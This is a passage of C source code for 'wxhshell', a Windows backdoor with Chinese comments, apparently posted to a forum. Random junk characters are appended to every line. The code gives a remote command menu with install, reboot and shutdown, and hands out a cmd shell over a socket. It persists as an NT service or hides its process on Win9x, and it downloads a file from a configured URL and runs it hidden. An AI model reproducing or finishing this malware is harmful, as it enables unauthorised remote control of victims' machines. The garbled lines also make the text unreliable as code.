  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p]rV\,Yss  
  } ,wZq ~; 2  
  else { nQ@<[KNd  
4}-G<7*  
    switch(cmd[0]) { m:Fdgu9  
  lUIh0%O  
  // 帮助 sspGB>h8l  
  case '?': { zNM*xPgS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L, 2;-b|  
    break; H"c2kno9  
  } fyEXnmB;  
  // 安装 L KLLBrm:  
  case 'i': { A "/|h].  
    if(Install()) /h 4rW>8D2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B&AF(e (  
    else C9 j{:&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9L>73P{_  
    break; .UYhj8  
    } =g|5VXW5  
  // 卸载 !NMiWG4R  
  case 'r': { S2 MJb  
    if(Uninstall()) z\-/R9E/5-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uf9L*Z'6il  
    else '.]<lh!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LKgo(&mY  
    break; <6&Z5mpm$w  
    } +z<GycIc?K  
  // 显示 wxhshell 所在路径 y ~Fi  
  case 'p': { JC# 5CCz  
    char svExeFile[MAX_PATH]; =w7+Yt  
    strcpy(svExeFile,"\n\r"); lE$(*1H  
      strcat(svExeFile,ExeFile); [I gqK5@  
        send(wsh,svExeFile,strlen(svExeFile),0); wW7#M  
    break; e4FR)d0x  
    } aH\A  
  // 重启 3Xm> 3  
  case 'b': { a5pXn v]A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [Pl''[  
    if(Boot(REBOOT)) _6 @GT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |3g'~E?$  
    else { Y8c,+D,Ww  
    closesocket(wsh); [8&+4 <  
    ExitThread(0); Y*sw;2Z;a  
    } 6Zx5^f(qd  
    break; dEkAU H  
    } /4;Sxx-  
  // 关机 h-\Ov{~  
  case 'd': { vlFq-W!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X|C=Q   
    if(Boot(SHUTDOWN)) >z7 3uKA(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R&Ss ET.  
    else { <{i1/"k?X  
    closesocket(wsh); Js^(mRv=  
    ExitThread(0); m#<Jr:-  
    } Kw(S<~9-@  
    break; "q KVGd  
    } rDGrq9  
  // 获取shell JAy-N bb\  
  case 's': { o .V JnrJ  
    CmdShell(wsh); n. vrq-  
    closesocket(wsh); :3{n(~  
    ExitThread(0); F`1J&S;C  
    break; 39L_O RMH  
  } o5:md :\  
  // 退出 In8{7&iVO  
  case 'x': { 9CAu0N5<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7rG+)kHG  
    CloseIt(wsh); Jp= )L  
    break; 7>h(M+ /  
    } Ii<k<Bt,  
  // 离开 ~V0 GRPnI  
  case 'q': { \jb62Jp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YF>1 5{H  
    closesocket(wsh); #kE8EhQZ  
    WSACleanup(); Gd$!xN %O  
    exit(1); /x<uv_"  
    break; WJk3*$=  
        } 39I|.B"  
  } < <F  
  } p_vl dTIW  
>">Xd@Wk  
  // 提示信息 8#[2]1X^8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v]rbm}uU9  
} /PbMt  
  } 7}e5ac  
5Pf)&iG  
  return; yYrFk^  
} Y#+Ws0wN  
S(/ ^_Y  
// shell模块句柄 +VL:O]`DJ  
int CmdShell(SOCKET sock) [("2=Uz;  
{ .m.Ga|;  
STARTUPINFO si; O8Z+g{  
ZeroMemory(&si,sizeof(si)); Ai)>ot  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H?,Dv>.#*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 14A(ZWwq9  
PROCESS_INFORMATION ProcessInfo; ?f6SKC  
char cmdline[]="cmd"; F6}YM|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cP\ZeG#<  
  return 0; !tb!%8{~  
} |oSqy  
JJ'f\f9  
// 自身启动模式 Y!+H9R  
int StartFromService(void) ;j qF:Wl@  
{ nM *}VI  
typedef struct bYqv)_8  
{ ;+bF4r@:+  
  DWORD ExitStatus; #m;o)KkH$r  
  DWORD PebBaseAddress; XN{WxcZ  
  DWORD AffinityMask; o ZQ@Yu3  
  DWORD BasePriority; ym_as8A*Q  
  ULONG UniqueProcessId; 7U-}Y  
  ULONG InheritedFromUniqueProcessId; X&i;WI  
}   PROCESS_BASIC_INFORMATION; PjXiYc&  
=)Fb&h]G^  
PROCNTQSIP NtQueryInformationProcess; 5z\,]  
F_I!qcEQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  \< dg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "zkQu  
$zF%F.rln  
  HANDLE             hProcess; l]j;0i  
  PROCESS_BASIC_INFORMATION pbi; EPR85[k  
[Jj@A(Cz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |'I>Ojm  
  if(NULL == hInst ) return 0; P00%EB  
r^H,H'BohJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j@Pd" Z9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7GS 4gSd3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1hSV/%v_  
Z>3m-:-e  
  if (!NtQueryInformationProcess) return 0; 1.PN_9%  
?\(qA+iP0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _+ Sf+ta  
  if(!hProcess) return 0; |MagK$o  
G B"Orm.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !"&-k:|g  
bC98<if  
  CloseHandle(hProcess); +H *6:  
5 8 7;2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <Q"G aqZ  
if(hProcess==NULL) return 0; fK *l?Hr  
s:_a.4&Y  
HMODULE hMod; JYmYX-  
char procName[255]; '.<c[Mp  
unsigned long cbNeeded; cd=|P?B i  
g'{?j~g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ryh 0r  
^,F G 9  
  CloseHandle(hProcess); z]-m<#1  
&328pOT4  
if(strstr(procName,"services")) return 1; // 以服务启动 "6U@e0ht  
BkPt 1i  
  return 0; // 注册表启动 H_Va$}8z  
} &:u3-:$:9  
!3\$XK]5ZT  
// 主模块 M d8(P23hS  
int StartWxhshell(LPSTR lpCmdLine) sC.r$K+k5  
{ `9gV8u  
  SOCKET wsl; >B=s+ }/ME  
BOOL val=TRUE; pLCS\AUTsv  
  int port=0; uB3VCO.;_  
  struct sockaddr_in door; ZJc{P5a1J  
r:$*pC&{  
  if(wscfg.ws_autoins) Install(); H1L)9oa  
xx|D#Z}G  
port=atoi(lpCmdLine); WPAUY<6f  
;\6@s3  
if(port<=0) port=wscfg.ws_port; 60 cQ3.e  
f F)M'C  
  WSADATA data; S=.%aB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ULBEe@ s  
jT< I`K*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?1c7wEk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  ;(J&%  
  door.sin_family = AF_INET; '/t9#I@G\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hdcB*j?4  
  door.sin_port = htons(port); c q[nqjC=  
-Eig#]Se3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =:xX~,qmv  
closesocket(wsl); *OdmKVw6G  
return 1; J\w4N",  
} p Zlt4  
]z8/S!?  
  if(listen(wsl,2) == INVALID_SOCKET) { g|->W]q@;  
closesocket(wsl); J~4mp\4b  
return 1; rx 74v!  
} 'DNxc  
  Wxhshell(wsl); IVZUB*wv)b  
  WSACleanup(); @$ Nti>  
<66%(J>  
return 0; TC44*BHq  
}{j@q~w>$  
} Mis B&Ok`k  
i$$h6P#  
// 以NT服务方式启动 }9W[7V?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vdefgq@<  
{ Y`{62J8oy  
DWORD   status = 0; ,7:-V<'Yv  
  DWORD   specificError = 0xfffffff; U1Fo #L  
L(cKyg[R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RSbq<f>BFo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |<,0*2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ti6X=@ P:  
  serviceStatus.dwWin32ExitCode     = 0; ,Eh]Zv1 AE  
  serviceStatus.dwServiceSpecificExitCode = 0; 9QB,%K_:4  
  serviceStatus.dwCheckPoint       = 0; _'1 ]CoR  
  serviceStatus.dwWaitHint       = 0; V!Sm,S(  
3{t[>O;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^'M^0'_"v  
  if (hServiceStatusHandle==0) return; ,dK)I1"C  
@RszPH1B  
status = GetLastError(); H25Qx;(dTk  
  if (status!=NO_ERROR) CueC![pj  
{ Sy1O;RTn`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |[mmEYc  
    serviceStatus.dwCheckPoint       = 0; <%% )C>l  
    serviceStatus.dwWaitHint       = 0; 3h>L0  
    serviceStatus.dwWin32ExitCode     = status; H~vrCi~t"  
    serviceStatus.dwServiceSpecificExitCode = specificError; + jeOZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E@xrn+L>-  
    return; & fWC-|  
  } i^iu #WC  
4r ~K`)/S'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yvzH}$!]  
  serviceStatus.dwCheckPoint       = 0; yp^k;G?_d  
  serviceStatus.dwWaitHint       = 0; Iy4%,8C]g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lVq5>:'}^;  
} l4U*Lv>   
`[#id@Z1  
// 处理NT服务事件,比如:启动、停止 ]1>R8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TI l 'Z7  
{ 4@Db $PHs  
switch(fdwControl) U*\K<fw   
{ l4r >#n\yj  
case SERVICE_CONTROL_STOP: ];6955I!  
  serviceStatus.dwWin32ExitCode = 0; Ai[@2AyU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K$qY^oyQFw  
  serviceStatus.dwCheckPoint   = 0; 3(t,x  
  serviceStatus.dwWaitHint     = 0; z#PaQp5F  
  { ru9@|FgAE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( >ze{T|  
  } F <6(Hw#>  
  return; }v|_]   
case SERVICE_CONTROL_PAUSE: \<`oW>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XR7v\rd  
  break; rFzj\%xa[  
case SERVICE_CONTROL_CONTINUE: tN\I2wm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )D/ ,QWk  
  break; w}OBp^V^  
case SERVICE_CONTROL_INTERROGATE: cUG^^3!  
  break; l=l$9H,  
}; 6s~B2t:Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  dm=?o  
} r"{jrBK$  
8UgogNR\  
// 标准应用程序主函数 !DSm[Z1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CR9wp] -Vd  
{ % PB{jo  
P/1YN  
// 获取操作系统版本 1|xe'w{  
OsIsNt=GetOsVer(); D^m2iW;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =JfwHFHd#  
9oGcbD4*  
  // 从命令行安装 s K+uwt  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~BuBma_   
2AhfQ%Y=  
  // 下载执行文件 $6*Yh-"g  
if(wscfg.ws_downexe) { bsU$$;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y %bb-|\W  
  WinExec(wscfg.ws_filenam,SW_HIDE); nM.g8d K  
} [Z:P{yr  
inO;Uwlv  
if(!OsIsNt) { u1y>7,Z6W  
// 如果时win9x,隐藏进程并且设置为注册表启动 .|go$}Fk  
HideProc(); p~8O6h@J  
StartWxhshell(lpCmdLine); j_}:=3  
} 0%L:jq{5  
else _^(1Qb[  
  if(StartFromService()) t'At9<ib  
  // 以服务方式启动 y6d!?M(0U  
  StartServiceCtrlDispatcher(DispatchTable); YzG?K0O%  
else 2[pOGc$  
  // 普通方式启动 +CdUr~6  
  StartWxhshell(lpCmdLine); e_|<tYx><  
98 5h]KQ  
return 0; v.C  
}
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只看该作者 1 发表于: 2006-10-10
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